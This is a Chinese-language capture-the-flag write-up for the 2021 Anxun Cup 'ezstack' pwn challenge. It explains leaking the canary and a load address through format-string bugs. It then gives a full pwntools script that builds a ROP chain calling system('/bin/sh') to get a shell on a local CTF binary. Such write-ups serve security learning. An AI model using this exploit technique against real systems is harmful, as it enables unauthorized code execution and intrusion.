2021安洵杯pwn

5年前

ezstack

先行惯例,发现除了full relro其他保护全开了。发现system函数,可以通过泄露地址后利用,这里发现有两个格式化字符串漏洞,考虑先泄露canary值和内存地址。在泄露内存地址的LOAD地址后,我们就可以利用system函数和字符串binsh了。我今天遇到一个坑,栈平衡问题,我当时忘了,不知道为啥kali做就不用,Ubuntu就需要,还有就是偏移,在kali上是16,在Ubuntu上是17,虽然只要该栈上只要有内存地址都可以,但是这个是main地址,具体原因暂不清楚,有懂的大佬请指点一二。参考了某师傅的(https://www.cnblogs.com/yxhr/p/15618311.html),exp如下:

from pwn import *
p = process("./ezstack")
elf = ELF('./ezstack')
context(os='linux',arch='amd64',log_level='debug')
p.sendline(b'%20$p%11$p')
p.recvuntil(b'0x')
stack=int(p.recv(12),16)
p.recvuntil(b'0x')
canary=int(p.recv(16),16)
print (hex(stack))
print (hex(canary))
stack=stack&0xfffffffffffff000
system = 0x810
pop_rdi = 0xb03
binsh = 0xb24
ret=0x7c1
ret=stack+ret
pop_rdi=stack+pop_rdi
binsh=stack+binsh
system=stack+system
#gdb.attach(p,'b')
payload =b'a'*0x18+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()